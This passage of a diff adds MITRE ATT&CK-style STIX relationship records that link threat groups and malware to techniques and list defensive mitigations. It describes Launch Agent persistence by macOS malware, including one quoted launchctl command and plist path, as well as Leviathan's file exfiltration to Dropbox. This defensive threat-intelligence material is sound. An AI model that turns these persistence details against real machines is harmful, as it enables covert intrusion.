"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-03-09T13:41:14.474Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--ad32e902-6f48-4c8f-bc3d-2fc06f045eed", + "description": "When PowerShell is necessary, restrict PowerShell execution policy to administrators. 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(n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.", + "url": "https://github.com/EmpireProject/Empire" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--035e7890-593f-4f70-898a-93f3302f8fac", + "description": "[Leviathan](https://attack.mitre.org/groups/G0065) has used an uploader known as LUNCHMONEY that can exfiltrate files to Dropbox.(Citation: Proofpoint Leviathan Oct 2017)(Citation: FireEye Periscope March 2018)", + "target_ref": "attack-pattern--bf1b6176-597c-4600-bfcd-ac989670f96b", + "modified": "2021-08-31T15:25:14.255Z", + "source_ref": "intrusion-set--7113eaa5-ba79-4fb3-b68a-398ee9cd698e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-03-11T17:35:33.894Z", + "external_references": [ + { + "source_name": "Proofpoint Leviathan Oct 2017", + "description": "Axel F, Pierre T. (2017, October 16). Leviathan: Espionage actor spearphishes maritime and defense targets. Retrieved February 15, 2018.", + "url": "https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets" + }, + { + "url": "https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html", + "description": "FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018.", + "source_name": "FireEye Periscope March 2018" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--6f1f4c7b-dc86-44e3-9ff2-ea9451ea90ee", + "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware or unusual data transfer over known tools and protocols like FTP can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. (Citation: University of Birmingham C2)", + "target_ref": "attack-pattern--bf90d72c-c00b-45e3-b3aa-68560560d4c5", + "modified": "2021-09-28T21:17:42.677Z", + "source_ref": "course-of-action--12241367-a8b7-49b4-b86e-2236901ba50c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-03-11T21:01:01.062Z", + "external_references": [ + { + "source_name": "University of Birmingham C2", + "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.", + "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--0c2dadcb-36c4-4255-a53d-e54f1bb71c5f", + "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. 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Retrieved February 18, 2019.", + "source_name": "Cybereason Dissecting DGAs" + }, + { + "url": "https://umbrella.cisco.com/blog/2015/02/18/at-high-noon-algorithms-do-battle/", + "description": "Kasza, A. (2015, February 18). Using Algorithms to Brute Force Algorithms. Retrieved February 18, 2019.", + "source_name": "Cisco Umbrella DGA Brute Force" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--5632a2de-e231-4ef0-971b-6cdb2750d410", + "description": "In some cases a local DNS sinkhole may be used to help prevent behaviors associated with dynamic resolution.", + "target_ref": "attack-pattern--7bd9c723-2f78-4309-82c5-47cad406572b", + "modified": "2020-03-27T18:25:03.508Z", + "source_ref": "course-of-action--21da4fd4-27ad-4e9c-b93d-0b9b14d02c96", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-03-12T14:18:38.929Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--feccb439-0a34-4224-ba12-62e11215d5a5", + "description": "[Keydnap](https://attack.mitre.org/software/S0276) uses a Launch Agent to persist.(Citation: synack 2016 review)", + "target_ref": "attack-pattern--d10cbd34-42e3-45c0-84d2-535a09849584", + "modified": "2020-03-12T16:37:21.783Z", + "source_ref": "malware--4b072c90-bc7a-432b-940e-016fc1c01761", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-03-12T16:37:21.783Z", + "external_references": [ + { + "url": "https://www.synack.com/2017/01/01/mac-malware-2016/", + "description": "Patrick Wardle. (2017, January 1). Mac Malware of 2016. Retrieved September 21, 2018.", + "source_name": "synack 2016 review" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--ad257565-2097-4cdc-9a52-3e54a7188f02", + "description": "[CoinTicker](https://attack.mitre.org/software/S0369) creates user launch agents named .espl.plist and com.apple.[random string].plist to establish persistence.(Citation: CoinTicker 2019)\t", + "target_ref": "attack-pattern--d10cbd34-42e3-45c0-84d2-535a09849584", + "modified": "2020-03-12T17:20:43.096Z", + "source_ref": "malware--d1531eaa-9e17-473e-a680-3298469662c3", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-03-12T17:20:43.096Z", + "external_references": [ + { + "url": "https://blog.malwarebytes.com/threat-analysis/2018/10/mac-cryptocurrency-ticker-app-installs-backdoors/", + "description": "Thomas Reed. (2018, October 29). Mac cryptocurrency ticker app installs backdoors. Retrieved April 23, 2019.", + "source_name": "CoinTicker 2019" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--e230326e-186e-490e-9299-fbc000d33d0a", + "description": "[FruitFly](https://attack.mitre.org/software/S0277) persists via a Launch Agent.(Citation: objsee mac malware 2017)", + "target_ref": "attack-pattern--d10cbd34-42e3-45c0-84d2-535a09849584", + "modified": "2020-03-12T17:28:00.863Z", + "source_ref": "malware--4a98e44a-bd52-461e-af1e-a4457de87a36", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-03-12T17:28:00.863Z", + "external_references": [ + { + "url": "https://objective-see.com/blog/blog_0x25.html", + "description": "Patrick Wardle. (n.d.). Mac Malware of 2017. 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Retrieved April 11, 2018.", + "url": "https://info.lookout.com/rs/051-ESQ-475/images/Lookout_Dark-Caracal_srr_20180118_us_v.1.0.pdf" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--4065a71f-ae1b-4dfc-9825-56d2af6d589c", + "description": "[Dok](https://attack.mitre.org/software/S0281) installs two LaunchAgents to redirect all network traffic with a randomly generated name for each plist file maintaining the format com.random.name.plist.(Citation: objsee mac malware 2017)(Citation: CheckPoint Dok)", + "target_ref": "attack-pattern--d10cbd34-42e3-45c0-84d2-535a09849584", + "modified": "2021-10-12T02:43:33.323Z", + "source_ref": "malware--f36b2598-515f-4345-84e5-5ccde253edbe", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-03-12T18:53:29.757Z", + "external_references": [ + { + "source_name": "objsee mac malware 2017", + "description": "Patrick Wardle. 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Retrieved October 5, 2021.", + "source_name": "CheckPoint Dok" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--e42547e7-0bf9-4a29-b3af-f80bd0b78e38", + "description": " The [Komplex](https://attack.mitre.org/software/S0162) trojan creates a persistent launch agent called with $HOME/Library/LaunchAgents/com.apple.updates.plist with launchctl load -w ~/Library/LaunchAgents/com.apple.updates.plist.(Citation: Sofacy Komplex Trojan)", + "target_ref": "attack-pattern--d10cbd34-42e3-45c0-84d2-535a09849584", + "modified": "2020-03-12T18:55:23.567Z", + "source_ref": "malware--f108215f-3487-489d-be8b-80e346d32518", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-03-12T18:55:23.567Z", + "external_references": [ + { + "source_name": "Sofacy Komplex Trojan", + "description": "Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017.", + "url": "https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--22a54751-c1f2-498a-bae0-fa4736c86bf5", + "description": "[MacSpy](https://attack.mitre.org/software/S0282) persists via a Launch Agent.(Citation: objsee mac malware 2017)", + "target_ref": "attack-pattern--d10cbd34-42e3-45c0-84d2-535a09849584", + "modified": "2020-03-12T18:59:53.783Z", + "source_ref": "malware--f72251cb-2be5-421f-a081-99c29a1209e7", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-03-12T18:59:53.783Z", + "external_references": [ + { + "source_name": "objsee mac malware 2017", + "description": "Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018.", + "url": "https://objective-see.com/blog/blog_0x25.html" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--5a872d22-22e6-49b1-8ddd-7efc6c403ad6", + "description": "[OSX_OCEANLOTUS.D](https://attack.mitre.org/software/S0352) can create a persistence file in the folder /Library/LaunchAgents.(Citation: TrendMicro MacOS April 2018)(Citation: Trend Micro MacOS Backdoor November 2020)", + "target_ref": "attack-pattern--d10cbd34-42e3-45c0-84d2-535a09849584", + "modified": "2021-09-13T18:33:56.415Z", + "source_ref": "malware--b00f90b6-c75c-4bfd-b813-ca9e6c9ebf29", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-03-12T19:09:57.866Z", + "external_references": [ + { + "source_name": "TrendMicro MacOS April 2018", + "description": "Horejsi, J. (2018, April 04). New MacOS Backdoor Linked to OceanLotus Found. Retrieved November 13, 2018.", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/new-macos-backdoor-linked-to-oceanlotus-found/" + }, + { + "url": "https://www.trendmicro.com/en_us/research/20/k/new-macos-backdoor-connected-to-oceanlotus-surfaces.html", + "description": "Magisa, L. (2020, November 27). New MacOS Backdoor Connected to OceanLotus Surfaces. Retrieved December 2, 2020.", + "source_name": "Trend Micro MacOS Backdoor November 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--1308cf20-40b9-4163-bb68-b3f08b0f53b8", + "description": "[Proton](https://attack.mitre.org/software/S0279) persists via Launch Agent.(Citation: objsee mac malware 2017)", + "target_ref": "attack-pattern--d10cbd34-42e3-45c0-84d2-535a09849584", + "modified": "2020-03-12T19:11:05.236Z", + "source_ref": "malware--c541efb4-e7b1-4ad6-9da8-b4e113f5dd42", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-03-12T19:11:05.236Z", + "external_references": [ + { + "source_name": "objsee mac malware 2017", + "description": "Patrick Wardle. (n.d.). Mac Malware of 2017. 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Retrieved December 7, 2017.", + "source_name": "Fysbis Dr Web Analysis" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--9a24e972-81d5-4cfc-81ed-3e7752e3b463", + "description": "[Exaramel for Linux](https://attack.mitre.org/software/S0401) has a hardcoded location under systemd that it uses to achieve persistence if it is running as root.(Citation: ESET TeleBots Oct 2018)(Citation: ANSSI Sandworm January 2021)", + "target_ref": "attack-pattern--dfefe2ed-4389-4318-8762-f0272b350a1b", + "modified": "2021-03-31T15:55:36.307Z", + "source_ref": "malware--11194d8b-fdce-45d2-8047-df15bb8f16bd", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-03-12T19:17:03.461Z", + "external_references": [ + { + "url": "https://www.welivesecurity.com/2018/10/11/new-telebots-backdoor-linking-industroyer-notpetya/", + "description": "Cherepanov, A., Lipovsky, R. (2018, October 11). New TeleBots backdoor: First evidence linking Industroyer to NotPetya. Retrieved November 27, 2018.", + "source_name": "ESET TeleBots Oct 2018" + }, + { + "url": "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-005.pdf", + "description": "ANSSI. (2021, January 27). SANDWORM INTRUSION SET CAMPAIGN TARGETING CENTREON SYSTEMS. Retrieved March 30, 2021.", + "source_name": "ANSSI Sandworm January 2021" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--6b46c35d-aa25-430c-89a2-d8f512478122", + "target_ref": "attack-pattern--15dbf668-795c-41e6-8219-f0447c0e64ce", + "modified": "2020-03-12T19:29:21.104Z", + "source_ref": "attack-pattern--a01bf75f-00b2-4568-a58f-565ff9bf202b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "subtechnique-of", + "created": "2020-03-12T19:29:21.104Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--9d4f0626-8d26-4187-a80b-df1467ce2dbb", + "description": "Use auditing tools capable of detecting file system permissions abuse opportunities on systems within an enterprise and correct them. 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Deny execution from user directories such as file download directories and temp directories where able.", + "target_ref": "attack-pattern--9e8b28c9-35fe-48ac-a14d-e6cc032dcbcd", + "modified": "2020-09-16T19:10:04.394Z", + "source_ref": "course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-03-12T21:00:53.803Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--df495b82-7bf4-4b1c-b72a-03dc1df07b7a", + "description": "Turn off UAC's privilege elevation for standard users [HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System]to automatically deny elevation requests, add: \"ConsentPromptBehaviorUser\"=dword:00000000. Consider enabling installer detection for all users by adding: \"EnableInstallerDetection\"=dword:00000001. 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Executable installers are vulnerable^WEVIL (case 7): 7z*.exe allows remote code execution with escalation of privilege. Retrieved December 4, 2014.", + "source_name": "Executable Installers are Vulnerable" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--dff6f183-3444-474b-8d8a-1eb05e15a986", + "description": "Limit privileges of user accounts and groups so that only authorized administrators can interact with service changes and service binary target path locations. Deny execution from user directories such as file download directories and temp directories where able.", + "target_ref": "attack-pattern--70d81154-b187-45f9-8ec5-295d01255979", + "modified": "2020-03-26T19:20:23.155Z", + "source_ref": "course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-03-13T11:12:18.712Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--681ea412-54a2-4580-960f-98e1219fff1f", + "description": "Turn off UAC's privilege elevation for standard users [HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System] to automatically deny elevation requests, add: \"ConsentPromptBehaviorUser\"=dword:00000000. Consider enabling installer detection for all users by adding: \"EnableInstallerDetection\"=dword:00000001. This will prompt for a password for installation and also log the attempt. To disable installer detection, instead add: \"EnableInstallerDetection\"=dword:00000000. This may prevent potential elevation of privileges through exploitation during the process of UAC detecting the installer, but will allow the installation process to continue without being logged. (Citation: Executable Installers are Vulnerable)", + "target_ref": "attack-pattern--70d81154-b187-45f9-8ec5-295d01255979", + "modified": "2020-03-26T19:20:23.179Z", + "source_ref": "course-of-action--2c2ad92a-d710-41ab-a996-1db143bb4808", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-03-13T11:12:18.716Z", + "external_references": [ + { + "url": "https://seclists.org/fulldisclosure/2015/Dec/34", + "description": "Stefan Kanthak. (2015, December 8). Executable installers are vulnerable^WEVIL (case 7): 7z*.exe allows remote code execution with escalation of privilege. Retrieved December 4, 2014.", + "source_name": "Executable Installers are Vulnerable" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--09838bf8-4d67-4d21-b44e-ec5786182cc9", + "description": "Use auditing tools capable of detecting file system permissions abuse opportunities on systems within an enterprise and correct them. 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Retrieved December 4, 2014.", + "url": "https://github.com/mattifestation/PowerSploit" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--7cd00d93-860b-4138-98fc-162cb56a78dd", + "target_ref": "attack-pattern--aedfca76-3b30-4866-b2aa-0f1d7fd1e4b6", + "modified": "2020-03-13T11:12:18.760Z", + "source_ref": "attack-pattern--70d81154-b187-45f9-8ec5-295d01255979", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "subtechnique-of", + "created": "2020-03-13T11:12:18.760Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--469231fb-3797-49bf-9f23-078b37a35671", + "description": "Ensure proper permissions are set for Registry hives to prevent users from modifying keys for system components that may lead to privilege escalation. ", + "target_ref": "attack-pattern--17cc750b-e95b-4d7d-9dde-49e0de24148c", + "modified": "2021-10-14T23:52:52.377Z", + "source_ref": "course-of-action--a2c36a5d-4058-475e-8e77-fff75e50d3b9", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-03-13T11:42:14.585Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--def869f4-7564-4a09-8f49-59cb696b660d", + "target_ref": "attack-pattern--aedfca76-3b30-4866-b2aa-0f1d7fd1e4b6", + "modified": "2020-03-13T11:42:14.588Z", + "source_ref": "attack-pattern--17cc750b-e95b-4d7d-9dde-49e0de24148c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "subtechnique-of", + "created": "2020-03-13T11:42:14.588Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--ca04cce0-2f47-4c73-956f-808573b62903", + "description": "Ensure that proper permissions and directory access control are set to deny users the ability to write files to the top-level directory C: and system directories, such as C:\\Windows\\, to reduce places where malicious files could be placed for execution. Require that all executables be placed in write-protected directories.", + "target_ref": "attack-pattern--bf96a5a3-3bce-43b7-8597-88545984c07b", + "modified": "2020-09-17T19:05:23.996Z", + "source_ref": "course-of-action--987988f0-cf86-4680-a875-2f6456ab2448", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-03-13T13:51:58.682Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--2d0b7e52-9c7a-47dd-ab12-4dc6942f49f1", + "description": "Find and eliminate path interception weaknesses in program configuration files, scripts, the PATH environment variable, services, and in shortcuts by surrounding PATH variables with quotation marks when functions allow for them. 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Periodically search for and correct or report path interception weaknesses on systems that may have been introduced using custom or available tools that report software using insecure path configurations.(Citation: Microsoft CreateProcess)(Citation: Microsoft Dynamic-Link Library Security)(Citation: Vulnerability and Exploit Detector)", + "target_ref": "attack-pattern--bf96a5a3-3bce-43b7-8597-88545984c07b", + "modified": "2020-09-17T19:05:23.998Z", + "source_ref": "course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-03-13T13:51:58.698Z", + "external_references": [ + { + "source_name": "Microsoft CreateProcess", + "description": "Microsoft. (n.d.). CreateProcess function. Retrieved December 5, 2014.", + "url": "http://msdn.microsoft.com/en-us/library/ms682425" + }, + { + "url": "https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-security?redirectedfrom=MSDN", + "description": "Microsoft. (n.d.). Dynamic-Link Library Security. Retrieved July 25, 2016.", + "source_name": "Microsoft Dynamic-Link Library Security" + }, + { + "url": "https://skanthak.homepage.t-online.de/sentinel.html", + "description": "Kanthak, S.. (2016, July 20). Vulnerability and Exploit Detector. Retrieved February 3, 2017.", + "source_name": "Vulnerability and Exploit Detector" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--b7a27a94-f036-4a0b-a96c-aa7bb1c7311f", + "description": "Adversaries will likely need to place new binaries in locations to be executed through this weakness. Identify and block potentially malicious software executed path interception by using application control tools, like Windows Defender Application Control, AppLocker, or Software Restriction Policies where appropriate.(Citation: SANS Application Whitelisting)(Citation: Microsoft Windows Defender Application Control)(Citation: Windows Commands JPCERT)(Citation: NSA MS AppLocker)(Citation: Microsoft Application Lockdown)(Citation: Microsoft Using Software Restriction )", + "target_ref": "attack-pattern--bf96a5a3-3bce-43b7-8597-88545984c07b", + "modified": "2021-08-23T20:25:22.495Z", + "source_ref": "course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-03-13T13:51:58.701Z", + "external_references": [ + { + "url": "https://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599", + "description": "Beechey, J.. (2014, November 18). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "source_name": "SANS Application Whitelisting" + }, + { + "url": "https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/windows-defender-application-control", + "description": "Gorzelany, A., Hall, J., Poggemeyer, L.. (2019, January 7). Windows Defender Application Control. Retrieved July 16, 2019.", + "source_name": "Microsoft Windows Defender Application Control" + }, + { + "source_name": "Windows Commands JPCERT", + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "url": "https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + }, + { + "url": "https://docs.microsoft.com/en-us/previous-versions/technet-magazine/cc510322(v=msdn.10)?redirectedfrom=MSDN", + "description": "Corio, C., & Sayana, D. P.. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.", + "source_name": "Microsoft Application Lockdown" + }, + { + "url": "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/ee791851(v=ws.11)?redirectedfrom=MSDN", + "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.", + "source_name": "Microsoft Using Software Restriction " + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--a6f0c9d2-ae40-4dee-9231-4f6fa3d87b00", + "target_ref": "attack-pattern--aedfca76-3b30-4866-b2aa-0f1d7fd1e4b6", + "modified": "2020-03-13T13:51:58.704Z", + "source_ref": "attack-pattern--bf96a5a3-3bce-43b7-8597-88545984c07b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "subtechnique-of", + "created": "2020-03-13T13:51:58.704Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--5a70a968-618c-489e-8087-eabca740aa3a", + "description": "Ensure that proper permissions and directory access control are set to deny users the ability to write files to the top-level directory C: and system directories, such as C:\\Windows\\, to reduce places where malicious files could be placed for execution. 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(2014, November 18). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "source_name": "SANS Application Whitelisting" + }, + { + "url": "https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/windows-defender-application-control", + "description": "Gorzelany, A., Hall, J., Poggemeyer, L.. (2019, January 7). Windows Defender Application Control. Retrieved July 16, 2019.", + "source_name": "Microsoft Windows Defender Application Control" + }, + { + "source_name": "Windows Commands JPCERT", + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "url": "https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + }, + { + "url": "https://docs.microsoft.com/en-us/previous-versions/technet-magazine/cc510322(v=msdn.10)?redirectedfrom=MSDN", + "description": "Corio, C., & Sayana, D. P.. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.", + "source_name": "Microsoft Application Lockdown" + }, + { + "url": "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/ee791851(v=ws.11)?redirectedfrom=MSDN", + "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.", + "source_name": "Microsoft Using Software Restriction " + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--cc783e55-3b37-45df-89a8-ec098a2ccea2", + "description": "Find and eliminate path interception weaknesses in program configuration files, scripts, the PATH environment variable, services, and in shortcuts by surrounding PATH variables with quotation marks when functions allow for them. Be aware of the search order Windows uses for executing or loading binaries and use fully qualified paths wherever appropriate.\n\nClean up old Windows Registry keys when software is uninstalled to avoid keys with no associated legitimate binaries. Periodically search for and correct or report path interception weaknesses on systems that may have been introduced using custom or available tools that report software using insecure path configurations.(Citation: Microsoft CreateProcess)(Citation: Microsoft Dynamic-Link Library Security)(Citation: Vulnerability and Exploit Detector)", + "target_ref": "attack-pattern--0c2d00da-7742-49e7-9928-4514e5075d32", + "modified": "2020-09-16T16:56:34.926Z", + "source_ref": "course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-03-13T14:10:43.598Z", + "external_references": [ + { + "source_name": "Microsoft CreateProcess", + "description": "Microsoft. (n.d.). CreateProcess function. Retrieved December 5, 2014.", + "url": "http://msdn.microsoft.com/en-us/library/ms682425" + }, + { + "url": "https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-security?redirectedfrom=MSDN", + "description": "Microsoft. (n.d.). Dynamic-Link Library Security. Retrieved July 25, 2016.", + "source_name": "Microsoft Dynamic-Link Library Security" + }, + { + "url": "https://skanthak.homepage.t-online.de/sentinel.html", + "description": "Kanthak, S.. (2016, July 20). Vulnerability and Exploit Detector. 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Require that all executables be placed in write-protected directories.", + "target_ref": "attack-pattern--58af3705-8740-4c68-9329-ec015a7013c2", + "modified": "2020-09-17T19:03:35.379Z", + "source_ref": "course-of-action--987988f0-cf86-4680-a875-2f6456ab2448", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-03-13T17:48:59.195Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--0f955c85-17f5-46cf-bf5c-eece3b6c08ca", + "description": "Adversaries will likely need to place new binaries in locations to be executed through this weakness. Identify and block potentially malicious software executed path 